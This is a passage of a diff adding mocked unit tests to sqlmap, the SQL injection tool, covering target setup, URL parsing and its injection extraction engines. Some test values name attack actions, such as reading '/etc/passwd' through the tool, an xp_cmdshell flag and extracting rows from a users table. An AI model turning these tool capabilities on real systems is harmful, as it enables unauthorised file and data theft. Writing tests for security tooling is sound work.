+local SQLite session file. Those side-effecting paths are still pure with +respect to the network, so they are exercised here against real temp dirs. + +All expected values below were probed from actual output, not assumed. +""" + +import atexit +import os +import shutil +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, reset_dbms +bootstrap() + +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import mergedOptions +from lib.core.data import paths +from lib.core.common import Backend +from lib.core.common import hashDBWrite +from lib.core.enums import HASHDB_KEYS +from lib.core.enums import HTTP_HEADER +from lib.core.enums import HTTPMETHOD +from lib.core.enums import PLACE +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from lib.core.settings import RESTORE_MERGED_OPTIONS +from lib.core.settings import UNENCODED_ORIGINAL_VALUE +from lib.core.threads import getCurrentThreadData +from lib.utils.hashdb import HashDB +from lib.core.target import _createDumpDir +from lib.core.target import _createFilesDir +from lib.core.target import _createTargetDirs +from lib.core.target import _resumeDBMS +from lib.core.target import _resumeHashDBValues +from lib.core.target import _resumeOS +from lib.core.target import _restoreMergedOptions +from lib.core.target import _setAuxOptions +from lib.core.target import _setHashDB +from lib.core.target import _setRequestParams +from lib.core.target import _setResultsFile +from lib.core.target import initTargetEnv + +SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path) +atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True)) + +# conf/kb keys that the tests below mutate; saved in setUp, restored in tearDown so +# one test can never leak global state into another (or into the rest of the suite). +_CONF_KEYS = ( + "direct", "parameters", "paramDict", "method", "data", "cookie", "httpHeaders", + "testParameter", "csrfToken", "url", "forms", "crawlDepth", "hostname", "path", + "port", "dbms", "os", "offline", "tmpPath", "technique", "dumpTable", "dumpAll", + "search", "fileRead", "commonFiles", "dumpPath", "filePath", "outputPath", + "hashDB", "hashDBFile", "sessionFile", "flushSession", "freshQueries", + "multipleTargets", "resultsFP", "resultsFile", "base64Parameter", "forceDbms", +) +_KB_KEYS = ( + "processUserMarks", "postHint", "customInjectionMark", "testOnlyCustom", + "resumeValues", "aliasName", "errorChunkLength", "xpCmdshellAvailable", + "chars", "originalUrls", "postUrlEncode", "postSpaceToPlus", +) +_PATH_KEYS = ("SQLMAP_OUTPUT_PATH", "SQLMAP_DUMP_PATH", "SQLMAP_FILES_PATH") + + +class _TargetTestBase(unittest.TestCase): + """Snapshot/restore conf, kb and paths globals around each test.""" + + def setUp(self): + self._conf = {k: conf.get(k) for k in _CONF_KEYS} + self._kb = {k: kb.get(k) for k in _KB_KEYS} + self._paths = {k: paths.get(k) for k in _PATH_KEYS} + # _resumeDBMS/_resumeOS mutate these kb fields via Backend.set* (not in _KB_KEYS) + self._dbms = kb.get("dbms") + self._forcedDbms = kb.get("forcedDbms") + self._tmpdirs = [] + + def tearDown(self): + # close any session DB we opened before restoring globals + if conf.get("hashDB"): + try: + conf.hashDB.close() + except Exception: + pass + getCurrentThreadData().hashDBCursor = None + if conf.get("resultsFP"): + try: + conf.resultsFP.close() + except Exception: + pass + for k, v in self._conf.items(): + conf[k] = v + for k, v in self._kb.items(): + kb[k] = v + for k, v in self._paths.items(): + paths[k] = v + kb.dbms = self._dbms # _resumeDBMS may have set an identified DBMS + kb.forcedDbms = self._forcedDbms + for d in self._tmpdirs: + shutil.rmtree(d, ignore_errors=True) + + def _outdir(self, name): + d = os.path.join(SCRATCH, name) + shutil.rmtree(d, ignore_errors=True) + self._tmpdirs.append(d) + paths.SQLMAP_OUTPUT_PATH = d + paths.SQLMAP_DUMP_PATH = os.path.join(d, "%s", "dump") + paths.SQLMAP_FILES_PATH = os.path.join(d, "%s", "files") + return d + + def _new_hashdb(self): + handle, path = tempfile.mkstemp(suffix=".sqlite", dir=SCRATCH) + os.close(handle) + os.remove(path) + getCurrentThreadData().hashDBCursor = None + conf.hashDB = HashDB(path) + conf.hostname = "h" + conf.path = "/" + conf.port = 80 + kb.resumeValues = True + conf.flushSession = False + conf.freshQueries = False + # another test file may have force-set a DBMS via set_dbms(); a leaked forcedDbms + # takes precedence in getIdentifiedDbms() and would mask what _resumeDBMS resolves + conf.forceDbms = None + kb.forcedDbms = None + kb.dbms = None + self.addCleanup(self._cleanup_hashdb, path) + return path + + def _cleanup_hashdb(self, path): + for f in (path, path + "-wal", path + "-shm"): + if os.path.exists(f): + try: + os.remove(f) + except OSError: + pass + + +class TestRestoreMergedOptions(_TargetTestBase): + def test_restores_each_option_from_mergedOptions(self): + saved = {} + for opt in RESTORE_MERGED_OPTIONS: + saved[opt] = mergedOptions.get(opt) + mergedOptions[opt] = "VAL_%s" % opt + conf[opt] = "tampered" + try: + _restoreMergedOptions() + for opt in RESTORE_MERGED_OPTIONS: + self.assertEqual(conf[opt], "VAL_%s" % opt, + msg="option %r not restored from mergedOptions" % opt) + finally: + for opt, v in saved.items(): + mergedOptions[opt] = v + + +class TestSetAuxOptions(_TargetTestBase): + def test_alias_is_nonempty_string(self): + conf.hostname = "example.com" + _setAuxOptions() + self.assertIsInstance(kb.aliasName, str) + self.assertTrue(kb.aliasName) + + def test_alias_deterministic_for_same_host(self): + conf.hostname = "example.com" + _setAuxOptions() + first = kb.aliasName + _setAuxOptions() + self.assertEqual(kb.aliasName, first) + + def test_alias_handles_none_host(self): + conf.hostname = None + _setAuxOptions() # seed=hash("") must not raise + self.assertIsInstance(kb.aliasName, str) + + +class TestInitTargetEnv(_TargetTestBase): + def _base(self): + conf.url = "http://h/?id=1" + conf.data = None + conf.httpHeaders = [] + conf.base64Parameter = None + conf.multipleTargets = False + + def test_default_injection_marker(self): + self._base() + initTargetEnv() + self.assertEqual(kb.customInjectionMark, CUSTOM_INJECTION_MARK_CHAR) + + def test_inject_here_marker_detected(self): + self._base() + conf.url = "http://h/?id=%INJECT_HERE%" + initTargetEnv() + self.assertEqual(kb.customInjectionMark, "%INJECT_HERE%") + + def test_urlencoded_post_body_is_decoded(self): + self._base() + conf.url = "http://h/" + conf.data = "id=a%20b" + conf.httpHeaders = [("Content-Type", "application/x-www-form-urlencoded")] + initTargetEnv() + self.assertTrue(kb.postUrlEncode) + self.assertEqual(str(conf.data), "id=a b") + # the raw (still-encoded) original is preserved as an attribute for later re-encoding + self.assertEqual(getattr(conf.data, UNENCODED_ORIGINAL_VALUE, None), "id=a%20b") + + def test_non_urlencoded_content_type_skips_decode(self): + self._base() + conf.url = "http://h/" + conf.data = "id=a%20b" + conf.httpHeaders = [("Content-Type", "application/json")] + conf.base64Parameter = None + initTargetEnv() + self.assertFalse(kb.postUrlEncode) + + def test_base64_post_body_is_decoded(self): + self._base() + conf.url = "http://h/" + conf.data = "aWQ9MQ==" # base64 of "id=1" + conf.httpHeaders = [("Content-Type", "application/json")] + conf.base64Parameter = "POST" + initTargetEnv() + self.assertEqual(str(conf.data), "id=1") + self.assertEqual(getattr(conf.data, UNENCODED_ORIGINAL_VALUE, None), "aWQ9MQ==") + + +class TestSetRequestParams(_TargetTestBase): + def _fresh(self): + conf.direct = None + conf.parameters = {} + conf.paramDict = {} + conf.method = HTTPMETHOD.GET + conf.data = None + conf.cookie = None + conf.httpHeaders = [] + conf.testParameter = None + conf.csrfToken = None + conf.url = "http://h/" + conf.forms = False + conf.crawlDepth = None + kb.processUserMarks = None + kb.postHint = None + kb.customInjectionMark = "*" + kb.testOnlyCustom = False + + def test_direct_connection_shortcut(self): + self._fresh() + conf.direct = "mysql://u:p@h/db" + conf.parameters = {} + _setRequestParams() + self.assertEqual(conf.parameters[None], "direct connection") + + def test_get_parameters_split(self): + self._fresh() + conf.parameters = {PLACE.GET: "id=1&name=foo"} + conf.url = "http://h/?id=1&name=foo" + _setRequestParams() + self.assertEqual(dict(conf.paramDict[PLACE.GET]), {"id": "1", "name": "foo"}) + + def test_post_parameters_split(self): + self._fresh() + conf.method = HTTPMETHOD.POST + conf.data = "a=1&b=2" + _setRequestParams() + self.assertEqual(dict(conf.paramDict[PLACE.POST]), {"a": "1", "b": "2"}) + + def test_cookie_parameters_split(self): + self._fresh() + conf.parameters = {PLACE.GET: "id=1"} + conf.url = "http://h/?id=1" + conf.cookie = "sess=abc; uid=5" + _setRequestParams() + self.assertIn(PLACE.COOKIE, conf.paramDict) + self.assertEqual(dict(conf.paramDict[PLACE.COOKIE]), {"sess": "abc", "uid": "5"}) + + def test_user_agent_header_is_testable(self): + self._fresh() + conf.httpHeaders = [(HTTP_HEADER.USER_AGENT, "Mozilla")] + _setRequestParams() + self.assertIn(PLACE.USER_AGENT, conf.paramDict) + + def test_referer_header_is_testable(self): + self._fresh() + conf.httpHeaders = [(HTTP_HEADER.REFERER, "http://ref/")] + _setRequestParams() + self.assertIn(PLACE.REFERER, conf.paramDict) + + def test_no_parameters_raises(self): + self._fresh() + with self.assertRaises(SqlmapGenericException): + _setRequestParams() + + def test_empty_post_body_defaults_to_empty_string(self): + self._fresh() + conf.method = HTTPMETHOD.POST + conf.data = None + conf.parameters = {PLACE.GET: "id=1"} # keep a testable param so it doesn't raise + conf.url = "http://h/?id=1" + _setRequestParams() + self.assertEqual(conf.data, "") + + +class TestResumeDBMS(_TargetTestBase): + def test_resumes_dbms_with_version(self): + self._new_hashdb() + conf.dbms = None + conf.offline = False + hashDBWrite(HASHDB_KEYS.DBMS, "MySQL 5.0") + _resumeDBMS() + self.assertEqual(Backend.getIdentifiedDbms(), "MySQL") + + def test_no_stored_dbms_returns_quietly(self): + self._new_hashdb() + conf.dbms = None + conf.offline = False + _resumeDBMS() # nothing stored: must just return + # the quiet-return branch must leave NO DBMS identified (a real + # side-effect assertion, not merely "did not raise") + self.assertIsNone(Backend.getIdentifiedDbms()) + + def test_offline_without_session_raises(self): + self._new_hashdb() + conf.dbms = None + conf.offline = True + with self.assertRaises(SqlmapNoneDataException): + _resumeDBMS() + + +class TestResumeOS(_TargetTestBase): + def test_resumes_os(self): + self._new_hashdb() + conf.os = None + hashDBWrite(HASHDB_KEYS.OS, "Linux") + _resumeOS() + self.assertEqual(conf.os, "Linux") + + def test_no_stored_os_returns_quietly(self): + self._new_hashdb() + conf.os = None + _resumeOS() + self.assertIsNone(conf.os) + + def test_stored_none_string_is_ignored(self): + self._new_hashdb() + conf.os = None + hashDBWrite(HASHDB_KEYS.OS, "None") + _resumeOS() + self.assertIsNone(conf.os) + + +class TestResumeHashDBValues(_TargetTestBase): + def _base(self): + self._new_hashdb() + conf.dbms = None + conf.offline = False + conf.os = None + conf.tmpPath = None + conf.technique = None + conf.paramDict = {} + + def test_resumes_serialized_chars(self): + self._base() + kb.chars = None + hashDBWrite(HASHDB_KEYS.KB_CHARS, {"a": 1}, serialize=True) + _resumeHashDBValues() + self.assertEqual(kb.chars, {"a": 1}) + + def test_resumes_numeric_error_chunk_length(self): + self._base() + kb.errorChunkLength = None + hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, "5") + _resumeHashDBValues() + self.assertEqual(kb.errorChunkLength, 5) + + def test_non_numeric_chunk_length_becomes_none(self): + self._base() + kb.errorChunkLength = 99 + hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, "notanumber") + _resumeHashDBValues() + self.assertIsNone(kb.errorChunkLength) + + def test_xp_cmdshell_true_coerced_to_bool(self): + self._base() + kb.xpCmdshellAvailable = False + hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, str(True)) + _resumeHashDBValues() + self.assertIs(kb.xpCmdshellAvailable, True) + + +class TestSetHashDB(_TargetTestBase): + def test_derives_session_file_under_output_path(self): + out = self._outdir("hdb_out") + os.makedirs(out) + getCurrentThreadData().hashDBCursor = None + conf.hashDBFile = None + conf.sessionFile = None + conf.outputPath = out + conf.flushSession = False + conf.hashDB = None + _setHashDB() + self.assertTrue(conf.hashDBFile.startswith(out)) + self.assertIsInstance(conf.hashDB, HashDB) + + def test_explicit_session_file_takes_precedence(self): + out = self._outdir("hdb_out2") + os.makedirs(out) + sess = os.path.join(out, "custom.sqlite") + getCurrentThreadData().hashDBCursor = None + conf.hashDBFile = None + conf.sessionFile = sess + conf.outputPath = out + conf.flushSession = False + conf.hashDB = None + _setHashDB() + self.assertEqual(conf.hashDBFile, sess) + + +class TestCreateDirs(_TargetTestBase): + def test_dump_dir_skipped_without_dump_flags(self): + self._outdir("d_out") + conf.hostname = "example.com" + conf.dumpPath = None + conf.dumpTable = False + conf.dumpAll = False + conf.search = False + _createDumpDir() + self.assertIsNone(conf.dumpPath) + + def test_dump_dir_created_per_host(self): + self._outdir("d_out2") + conf.hostname = "example.com" + conf.dumpTable = True + conf.dumpAll = False + conf.search = False + _createDumpDir() + self.assertTrue(os.path.isdir(conf.dumpPath)) + self.assertIn("example.com", conf.dumpPath) + + def test_files_dir_skipped_without_file_flags(self): + self._outdir("f_out") + conf.hostname = "example.com" + conf.filePath = None + conf.fileRead = None + conf.commonFiles = None + _createFilesDir() + self.assertIsNone(conf.filePath) + + def test_files_dir_created_per_host(self): + self._outdir("f_out2") + conf.hostname = "example.com" + conf.fileRead = "/etc/passwd" + conf.commonFiles = None + _createFilesDir() + self.assertTrue(os.path.isdir(conf.filePath)) + self.assertIn("example.com", conf.filePath) + + def test_target_dir_and_target_txt(self): + self._outdir("t_out") + conf.hostname = "example.com" + conf.url = "http://example.com/?id=1" + conf.data = None + conf.dumpTable = False + conf.dumpAll = False + conf.search = False + conf.fileRead = None + conf.commonFiles = None + kb.originalUrls = {} + _createTargetDirs() + self.assertTrue(os.path.isdir(conf.outputPath)) + target = os.path.join(conf.outputPath, "target.txt") + self.assertTrue(os.path.exists(target)) + with open(target) as f: + content = f.read() + self.assertIn("http://example.com/?id=1", content) + self.assertIn("(%s)" % HTTPMETHOD.GET, content) + + +class TestSetResultsFile(_TargetTestBase): + def test_skipped_when_not_multiple_targets(self): + self._outdir("r_out") + conf.multipleTargets = False + conf.resultsFP = None + _setResultsFile() + self.assertIsNone(conf.resultsFP) + + def test_creates_csv_with_header_in_multiple_target_mode(self): + out = self._outdir("r_out2") + os.makedirs(out) + conf.multipleTargets = True + conf.resultsFile = os.path.join(out, "res.csv") + conf.resultsFP = None + _setResultsFile() + self.assertTrue(os.path.exists(conf.resultsFile)) + conf.resultsFP.flush() + with open(conf.resultsFile) as f: + header = f.readline() + self.assertIn("Target URL", header) + self.assertIn("Parameter", header) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_targeturl.py b/tests/test_targeturl.py new file mode 100644 index 00000000000..6db349a85c4 --- /dev/null +++ b/tests/test_targeturl.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Target URL parsing (lib/core/common.py parseTargetUrl). + +parseTargetUrl reads conf.url and populates conf.hostname / conf.port / +conf.scheme / conf.path - the values every subsequent request is built from. A +wrong default port or dropped scheme here misdirects the entire scan, so the +scheme/default-port/explicit-port/path cases are pinned. + +Inline URL credentials (user:pw@host) are stripped so the host/port parse +correctly - previously the userinfo was mistaken for the host (user:pass@host -> +hostname 'user'). The credentials are still NOT used for authentication (sqlmap +warns and expects --auth-cred); only the host-misparse is fixed. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import parseTargetUrl +from lib.core.data import conf + +_TARGETURL_KEYS = ("url", "hostname", "port", "scheme", "path") +_saved = {} + + +def setUpModule(): + for k in _TARGETURL_KEYS: + _saved[k] = conf.get(k) + + +def tearDownModule(): + # parseTargetUrl() writes these onto the global conf singleton; restore so it can't leak to later modules + for k, v in _saved.items(): + conf[k] = v + + +def _parse(url): + conf.url = url + parseTargetUrl() + return conf.hostname, conf.port, conf.scheme, conf.path + + +class TestScheme(unittest.TestCase): + def test_http(self): + host, port, scheme, _ = _parse("http://host/p?id=1") + self.assertEqual((host, scheme), ("host", "http")) + + def test_https(self): + _, _, scheme, _ = _parse("https://host/p") + self.assertEqual(scheme, "https") + + +class TestDefaultPorts(unittest.TestCase): + def test_http_default_80(self): + self.assertEqual(_parse("http://h/")[1], 80) + + def test_https_default_443(self): + self.assertEqual(_parse("https://h/")[1], 443) + + def test_no_trailing_slash(self): + host, port, scheme, _ = _parse("http://h") + self.assertEqual((host, port), ("h", 80)) + + +class TestExplicitPort(unittest.TestCase): + def test_explicit_port(self): + host, port, scheme, _ = _parse("https://example.com:8443/x") + self.assertEqual((host, port, scheme), ("example.com", 8443, "https")) + + +class TestPath(unittest.TestCase): + def test_path_extracted(self): + self.assertEqual(_parse("http://host/some/path?q=1")[3], "/some/path") + + +class TestInlineCredentials(unittest.TestCase): + """Userinfo (user:pw@) must be stripped from the host, not mistaken for it.""" + + def test_user_pass_with_port(self): + host, port, _, _ = _parse("http://user:pass@host:8080/?id=1") + self.assertEqual((host, port), ("host", 8080)) + + def test_user_pass_default_port(self): + host, port, _, _ = _parse("http://user:pass@host/?id=1") + self.assertEqual((host, port), ("host", 80)) + + def test_user_only(self): + self.assertEqual(_parse("http://user@host/?id=1")[0], "host") + + def test_credentials_with_ipv6(self): + host, port, _, _ = _parse("http://user:pass@[::1]:8443/?id=1") + self.assertEqual((host, port), ("::1", 8443)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_techniques.py b/tests/test_techniques.py new file mode 100644 index 00000000000..fe7563a4436 --- /dev/null +++ b/tests/test_techniques.py @@ -0,0 +1,1699 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Mocked-oracle / canned-input coverage for the self-contained extraction / +inference engines under lib/techniques/*: + + * lib/techniques/union/use.py - _oneShotUnionUse / unionUse / configUnion + * lib/techniques/error/use.py - _oneShotErrorUse / _errorFields / errorUse + * lib/techniques/ldap/inject.py - boolean-blind LDAP oracle + blind char inference + * lib/techniques/graphql/inject.py - schema walk, query building, blind-SQLi inference + * lib/techniques/blind/inference.py - bisection / queryOutputLength edge branches + +The established pattern (see tests/test_inference_engine.py, +tests/test_union_engine.py) is followed: the network seam (Request.queryPage / +Request.getPage / the per-module _send / _gqlSend) and the forge/escape chain are +replaced by a deterministic in-process oracle that answers against a known secret, +so the REAL extraction / parsing / bisection logic runs with no live target, +no network and no DBMS. + +stdlib unittest only; works on Python 2.7 and 3.x. +""" + +import os +import re +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict +from lib.core.common import decodeDbmsHexValue +from lib.core.common import getCurrentThreadData +from lib.core.common import hashDBWrite +from lib.core.common import setTechnique +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import PAYLOAD +from lib.core.enums import PLACE +from lib.core.exception import SqlmapSyntaxException +from lib.core.settings import PARTIAL_VALUE_MARKER +from lib.core.agent import agent +from lib.core.unescaper import unescaper +from lib.request.connect import Connect +from lib.request.connect import Connect as Request +from lib.request import inject +from lib.utils.hashdb import HashDB + +import lib.techniques.union.use as uu +import lib.techniques.error.use as eu +import lib.techniques.ldap.inject as ldap +import lib.techniques.graphql.inject as gql +import lib.techniques.blind.inference as inf + + +# =========================================================================== +# UNION: lib/techniques/union/use.py +# =========================================================================== + +# A UNION injection vector is a tuple consumed positionally by _oneShotUnionUse / +# forgeUnionQuery (vector[0..10]). The exact contents do not matter here because the +# forge chain is stubbed to a pass-through; only the indexes the function itself reads +# (7=unionDuplicates, 8=forcePartialUnion, 9=tableFrom, 10=unionTemplate) carry meaning. +_UNION_VECTOR = (1, 2, None, "", "", "NULL", PAYLOAD.WHERE.ORIGINAL, False, False, None, None) + +_UU_CONF = {"hexConvert": False, "limitStart": 0, "limitStop": 0, "pageEncoding": None, + "forcePartial": False, "disableJson": False, "binaryFields": None, + "reportJson": False, "api": False, "threads": 1, "verbose": 0, "eta": False, + "noTruncate": True, "uFrom": None} +_UU_KB = {"jsonAggMode": False, "respTruncated": False, "unionDuplicates": False, + "forcePartialUnion": False, "tableFrom": None, "unionTemplate": None, + "nchar": False, "pageEncoding": None, "bruteMode": False, "partRun": None, + "suppressResumeInfo": False} + + +def _wrap(start, body, stop=None): + """Wrap a value in the current UNION markers, exactly as the target page would.""" + return "%s%s%s" % (start, body, stop if stop is not None else kb.chars.stop) + + +class _UnionCase(unittest.TestCase): + """Base: stub the forge/escape/transport seam so _oneShotUnionUse's OWN parsing + (marker extraction, hashDB caching, json-agg, trimming, retry) is what is exercised.""" + + def setUp(self): + self._sc = {k: conf.get(k) for k in _UU_CONF} + self._sk = {k: kb.get(k) for k in _UU_KB} + self._sqp = Request.queryPage + self._scounters = kb.get("counters") + self._sinj_data = kb.injection.data + self._shashdb = conf.get("hashDB") + self._s_forge = agent.forgeUnionQuery + self._s_concat = agent.concatQuery + self._s_payload = agent.payload + self._s_escape = unescaper.escape + + for k, v in _UU_CONF.items(): + conf[k] = v + for k, v in _UU_KB.items(): + kb[k] = v + + kb.counters = {} + conf.hashDB = None # disable session resume in these tests + # minimal injection context the function reads + entry = AttribDict() + entry.vector = _UNION_VECTOR + entry.where = PAYLOAD.WHERE.ORIGINAL + kb.injection.data = {PAYLOAD.TECHNIQUE.UNION: entry} + + # pass-through forge chain: the produced payload text is irrelevant - the mock + # oracle answers from the EXPRESSION recorded out-of-band, not from the payload + agent.forgeUnionQuery = lambda *a, **k: "UNION-FORGED" + agent.concatQuery = lambda expression, unpack=True: expression + agent.payload = lambda place=None, parameter=None, value=None, newValue=None, where=None: "PAYLOAD" + unescaper.escape = lambda expression, *a, **k: expression + + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._sc.items(): + conf[k] = v + for k, v in self._sk.items(): + kb[k] = v + Request.queryPage = self._sqp + uu.Request.queryPage = self._sqp + kb.counters = self._scounters + kb.injection.data = self._sinj_data + conf.hashDB = self._shashdb + agent.forgeUnionQuery = self._s_forge + agent.concatQuery = self._s_concat + agent.payload = self._s_payload + unescaper.escape = self._s_escape + + def _install_page(self, page): + def oracle(payload=None, content=False, raise404=False, **kwargs): + return (page, AttribDict(), 200) if content else page + Request.queryPage = staticmethod(oracle) + uu.Request.queryPage = staticmethod(oracle) + + +class TestOneShotUnionUse(_UnionCase): + def test_single_value_extracted(self): + page = "%s" % _wrap(kb.chars.start, "hello") + self._install_page(page) + self.assertEqual(uu._oneShotUnionUse("SELECT a"), _wrap(kb.chars.start, "hello")) + + def test_multi_column_delimited(self): + body = kb.chars.delimiter.join(("u", "p")) + page = "x %s y" % _wrap(kb.chars.start, body) + self._install_page(page) + retVal = uu._oneShotUnionUse("SELECT u,p") + self.assertIn("u%sp" % kb.chars.delimiter, retVal) + + def test_no_markers_returns_none(self): + self._install_page("nothing useful here") + self.assertIsNone(uu._oneShotUnionUse("SELECT a")) + + def test_counter_incremented(self): + self._install_page(_wrap(kb.chars.start, "v")) + uu._oneShotUnionUse("SELECT a") + self.assertEqual(kb.counters.get(PAYLOAD.TECHNIQUE.UNION), 1) + + def test_last_char_trim_patched(self): + # the page carries chars.stop with its final char trimmed; the engine repairs it + trimmed = kb.chars.stop[:-1] + page = "%s%s%s" % (kb.chars.start, "data", trimmed) + self._install_page(page) + retVal = uu._oneShotUnionUse("SELECT a") + self.assertEqual(retVal, _wrap(kb.chars.start, "data")) + + def test_upper_cased_results_lowered(self): + # force-uppercased response: function lower-cases the whole page before parsing + page = ("PREFIX %s" % _wrap(kb.chars.start, "value")).upper() + self._install_page(page) + retVal = uu._oneShotUnionUse("SELECT a") + self.assertEqual(retVal, _wrap(kb.chars.start, "value").lower()) + + def test_order_by_retry_without_clause(self): + # first try (with ORDER BY) yields nothing; the engine retries stripping ORDER BY. + # both expressions feed the same stubbed oracle, so we vary the page by call count. + state = {"calls": 0} + + def oracle(payload=None, content=False, raise404=False, **kwargs): + state["calls"] += 1 + page = "" if state["calls"] == 1 else _wrap(kb.chars.start, "recovered") + return (page, AttribDict(), 200) if content else page + + Request.queryPage = staticmethod(oracle) + uu.Request.queryPage = staticmethod(oracle) + retVal = uu._oneShotUnionUse("SELECT a ORDER BY 1") + self.assertEqual(retVal, _wrap(kb.chars.start, "recovered")) + self.assertEqual(state["calls"], 2) + + def test_hashdb_resume_short_circuits(self): + # a cached value is returned without ever touching the oracle + import tempfile + from lib.utils.hashdb import HashDB + from lib.core.common import hashDBWrite + + fd, path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(path) + saved_loc = (conf.get("hostname"), conf.get("path"), conf.get("port")) + try: + conf.hashDB = HashDB(path) + conf.hostname, conf.path, conf.port = "union.invalid", "/", 80 + hashDBWrite("%s%s" % (conf.hexConvert or False, "SELECT cached"), "CACHED-UNION") + conf.hashDB.flush() + + def boom(*a, **k): + raise AssertionError("oracle must not be called on a cache hit") + Request.queryPage = staticmethod(boom) + uu.Request.queryPage = staticmethod(boom) + + self.assertEqual(uu._oneShotUnionUse("SELECT cached"), "CACHED-UNION") + finally: + conf.hostname, conf.path, conf.port = saved_loc + try: + conf.hashDB.closeAll() + except Exception: + pass + if os.path.exists(path): + os.remove(path) + + +class TestJsonAggExtraction(_UnionCase): + """kb.jsonAggMode path: the page carries a JSON array between the markers (MySQL branch).""" + + def setUp(self): + _UnionCase.setUp(self) + kb.jsonAggMode = True + + def test_json_array_rows_wrapped(self): + # MySQL non-MSSQL/PGSQL branch: json.loads(output) over a JSON-array body, each row + # re-wrapped in start/stop markers so parseUnionPage can later split it + import json + body = json.dumps(["alice", "bob"]) + page = "%s%s%s" % (kb.chars.start, body, kb.chars.stop) + self._install_page(page) + retVal = uu._oneShotUnionUse("SELECT name FROM users", False) + self.assertIn("alice", retVal) + self.assertIn("bob", retVal) + self.assertEqual(retVal.count(kb.chars.start), 2) + + def test_truncated_aggregate_sets_flag(self): + # leading marker present but no trailing marker -> single-shot considered truncated + page = "%sincomplete-json-array-no-stop" % kb.chars.start + self._install_page(page) + retVal = uu._oneShotUnionUse("SELECT name FROM users", False) + self.assertIsNone(retVal) + self.assertTrue(kb.respTruncated) + + +class TestUnionUse(_UnionCase): + """unionUse() orchestration over the (stubbed) one-shot path. set_dbms forced to a DBMS + NOT in FROM_DUMMY_TABLE and a scalar (no FROM) expression so the partial/limit/json-agg + branches are skipped and it falls through to the single one-shot extraction + parse.""" + + def setUp(self): + _UnionCase.setUp(self) + set_dbms("MySQL") + # initTechnique() only does session/template bookkeeping (page template, match ratio, + # resumed conf) irrelevant to the extraction under test, and needs a full injection + # session to run; stub it so unionUse()'s orchestration + parse is what is exercised. + self._s_initTechnique = uu.initTechnique + uu.initTechnique = lambda technique=None: None + # unionUse() calls getConsoleWidth(); with no tty (test runner) it falls back to + # curses.initscr(), which flips the terminal to the alternate screen. Pin COLUMNS + # so that path is never taken and the runner output stays clean. + self._s_columns = os.environ.get("COLUMNS") + os.environ["COLUMNS"] = "80" + + def tearDown(self): + if self._s_columns is None: + os.environ.pop("COLUMNS", None) + else: + os.environ["COLUMNS"] = self._s_columns + uu.initTechnique = self._s_initTechnique + _UnionCase.tearDown(self) + + def test_scalar_value(self): + self._install_page(_wrap(kb.chars.start, "scalar-result")) + value = uu.unionUse("SELECT 1") + self.assertEqual(value, "scalar-result") + + def test_scalar_empty(self): + self._install_page("no markers") + value = uu.unionUse("SELECT 1") + self.assertIsNone(value) + + +# =========================================================================== +# UNION-based: lib/techniques/union/use.py (partial / LIMIT-loop branches) +# =========================================================================== + +# Distinct from the scalar _UNION_VECTOR / _UU_CONF / _UU_KB above: these drive the +# partial / LIMIT-loop path (NEGATIVE where, forcePartial on, jsonAgg disabled). +_UNION_VECTOR_LIMIT = (1, 2, None, "", "", "NULL", PAYLOAD.WHERE.NEGATIVE, False, False, None, None) + +_UU_CONF_LIMIT = {"hexConvert": False, "limitStart": 0, "limitStop": 0, "pageEncoding": None, + "forcePartial": True, "disableJson": True, "binaryFields": None, + "reportJson": False, "api": False, "threads": 1, "verbose": 0, "eta": False, + "noTruncate": True, "uFrom": None} +_UU_KB_LIMIT = {"jsonAggMode": False, "respTruncated": False, "unionDuplicates": False, + "forcePartialUnion": False, "tableFrom": None, "unionTemplate": None, + "nchar": False, "pageEncoding": None, "bruteMode": False, "partRun": None, + "suppressResumeInfo": False, "threadContinue": True} + + +class _UnionLimitCase(unittest.TestCase): + """Drive unionUse() down the partial / LIMIT-loop path (jsonAgg disabled, NEGATIVE where, + forcePartial on). The forge chain is a pass-through; concatQuery records the per-row + expression so the oracle can recover the LIMIT offset and answer from a known row set.""" + + def setUp(self): + self._sc = {k: conf.get(k) for k in _UU_CONF_LIMIT} + self._sk = {k: kb.get(k) for k in _UU_KB_LIMIT} + self._sqp = Request.queryPage + self._scounters = kb.get("counters") + self._sinj_data = kb.injection.data + self._shashdb = conf.get("hashDB") + self._sbatch = conf.get("batch") + self._s_forge = agent.forgeUnionQuery + self._s_concat = agent.concatQuery + self._s_payload = agent.payload + self._s_escape = unescaper.escape + self._s_lastexpr = getattr(agent, "_lastexpr", None) + self._s_initTechnique = uu.initTechnique + + for k, v in _UU_CONF_LIMIT.items(): + conf[k] = v + for k, v in _UU_KB_LIMIT.items(): + kb[k] = v + + conf.batch = True + conf.hashDB = None + kb.counters = {} + + entry = AttribDict() + entry.vector = _UNION_VECTOR_LIMIT + entry.where = PAYLOAD.WHERE.NEGATIVE + kb.injection.data = {PAYLOAD.TECHNIQUE.UNION: entry} + + # record the expression seen by each _oneShotUnionUse so the oracle can branch on it + def 